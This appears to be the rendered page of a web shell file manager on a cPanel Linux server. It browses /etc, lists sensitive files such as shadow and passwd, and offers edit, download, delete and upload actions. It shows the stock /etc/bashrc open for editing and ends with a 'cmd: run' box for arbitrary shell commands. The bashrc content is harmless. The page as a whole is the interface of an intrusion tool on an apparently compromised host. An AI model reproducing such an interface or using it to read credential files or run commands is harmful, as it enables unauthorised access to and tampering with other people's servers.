/
etc
/
/etc
mkdir
upload
Name
Size
Mode
Actions
alternatives/
-
0755
rm
apache2/
-
0755
rm
bash_completion.d/
-
0755
rm
cl.nodejs/
-
0755
rm
cl.php.d/
-
0755
rm
cl.python/
-
0755
rm
cl.selector/
-
0755
rm
cl.selector.conf.d/
-
0755
rm
cpanel/
-
0751
rm
crypto-policies/
-
0755
rm
default/
-
0755
rm
environment-modules/
-
0755
rm
fonts/
-
0755
rm
gcrypt/
-
0755
rm
imunify360/
-
0755
rm
ld.so.conf.d/
-
0755
rm
mail/
-
0755
rm
modulefiles/
-
0755
rm
motd.d/
-
0755
rm
my.cnf.d/
-
0755
rm
openldap/
-
0755
rm
pam.d/
-
0755
rm
pki/
-
0755
rm
profile.d/
-
0755
rm
sasl2/
-
0755
rm
scl/
-
0755
rm
security/
-
0755
rm
skel/
-
0755
rm
snmp/
-
0755
rm
ssh/
-
0755
rm
ssl/
-
0755
rm
sysconfig/
-
0755
rm
.etc.version
3
0600
edit
dl
rm
aliases
1529
0644
edit
dl
rm
at.deny
1
0644
edit
dl
rm
backupmxhosts
0
0640
edit
dl
rm
bashrc
3459
0644
edit
dl
rm
DIR_COLORS
4673
0644
edit
dl
rm
domainusers
3202
0640
edit
dl
rm
environment
0
0644
edit
dl
rm
group
512
0644
edit
dl
rm
host.conf
9
0644
edit
dl
rm
hosts
232
0644
edit
dl
rm
inputrc
943
0644
edit
dl
rm
ld.so.cache
36287
0644
edit
dl
rm
ld.so.conf
28
0644
edit
dl
rm
localtime
2529
0644
edit
dl
rm
mailcap
272
0644
edit
dl
rm
mailhelo
25
0640
edit
dl
rm
mailips
0
0640
edit
dl
rm
mime.types
67454
0644
edit
dl
rm
my.cnf
427
0644
edit
dl
rm
nsswitch.conf
2124
0644
edit
dl
rm
passwd
1320
0644
edit
dl
rm
profile
2700
0644
edit
dl
rm
protocols
6568
0644
edit
dl
rm
relayhosts
-
0
edit
dl
rm
resolv.conf
91
0644
edit
dl
rm
rpc
1634
0644
edit
dl
rm
senderverifybypasshosts
0
0640
edit
dl
rm
services
692252
0644
edit
dl
rm
shadow
838
0600
edit
dl
rm
skipsmtpcheckhosts
0
0640
edit
dl
rm
spammeripblocks
0
0640
edit
dl
rm
trusted-key.key
750
0644
edit
dl
rm
trustedmailhosts
0
0640
edit
dl
rm
virc
1184
0644
edit
dl
rm
wgetrc
4925
0644
edit
dl
rm
Edit:
/etc/bashrc
(3459B)
# /etc/bashrc # System wide functions and aliases # Environment stuff goes in /etc/profile # It's NOT a good idea to change this file unless you know what you # are doing. It's much better to create a custom.sh shell script in # /etc/profile.d/ to make custom changes to your environment, as this # will prevent the need for merging in future updates. # Prevent doublesourcing if [ -z "$BASHRCSOURCED" ]; then BASHRCSOURCED="Y" # are we an interactive shell? if [ "$PS1" ]; then if [ -z "$PROMPT_COMMAND" ]; then case $TERM in xterm*|vte*) if [ -e /etc/sysconfig/bash-prompt-xterm ]; then PROMPT_COMMAND=/etc/sysconfig/bash-prompt-xterm else PROMPT_COMMAND='printf "\033]0;%s@%s:%s\007" "${USER}" "${HOSTNAME%%.*}" "${PWD/#$HOME/\~}"' fi ;; screen*) if [ -e /etc/sysconfig/bash-prompt-screen ]; then PROMPT_COMMAND=/etc/sysconfig/bash-prompt-screen else PROMPT_COMMAND='printf "\033k%s@%s:%s\033\\" "${USER}" "${HOSTNAME%%.*}" "${PWD/#$HOME/\~}"' fi ;; *) [ -e /etc/sysconfig/bash-prompt-default ] && PROMPT_COMMAND=/etc/sysconfig/bash-prompt-default ;; esac fi # Turn on parallel history shopt -s histappend history -a # Turn on checkwinsize shopt -s checkwinsize [ "$PS1" = "\\s-\\v\\\$ " ] && PS1="[\u@\h \W]\\$ " # You might want to have e.g. tty in prompt (e.g. more virtual machines) # and console windows # If you want to do so, just add e.g. # if [ "$PS1" ]; then # PS1="[\u@\h:\l \W]\\$ " # fi # to your custom modification shell script in /etc/profile.d/ directory fi if ! shopt -q login_shell ; then # We're not a login shell # Need to redefine pathmunge, it gets undefined at the end of /etc/profile pathmunge () { case ":${PATH}:" in *:"$1":*) ;; *) if [ "$2" = "after" ] ; then PATH=$PATH:$1 else PATH=$1:$PATH fi esac } # Set default umask for non-login shell only if it is set to 0 [ `umask` -eq 0 ] && umask 022 SHELL=/bin/bash # Only display echos from profile.d scripts if we are no login shell # and interactive - otherwise just process them to set envvars for i in /etc/profile.d/*.sh; do if [ -r "$i" ]; then if [ "$PS1" ]; then . "$i" else . "$i" >/dev/null fi fi done unset i unset -f pathmunge fi fi # vim:ts=4:sw=4 #cPanel Added User Commands -- BEGIN # Insert an entry into the PATH after all of the user's home directory paths. if [ -x "/usr/local/cpanel/3rdparty/bin/perl" ]; then NEW_PATH="$(/usr/local/cpanel/3rdparty/bin/perl -e 'print join ":", map { ( ( !/^\Q$ENV{HOME}\E/ && !$seen++ && $_ ne $ARGV[0] ? @ARGV : () ), $_ ) } split /:/, $ENV{PATH};' /usr/local/cpanel/3rdparty/lib/path-bin)" if [ ! -z "$NEW_PATH" ]; then PATH=$NEW_PATH export PATH fi fi #cPanel Added User Commands -- END #cPanel Added local::lib -- BEGIN LOCALLIBUSER=$USER if [ -e "/usr/bin/whoami" ]; then LOCALLIBUSER="$(/usr/bin/whoami)" fi if [ "$LOCALLIBUSER" != "root" -a -e "/var/cpanel/users/$LOCALLIBUSER" ]; then eval $(perl -Mlocal::lib >/dev/null 2>&1) fi #cPanel Added local::lib -- END
Save
cmd:
run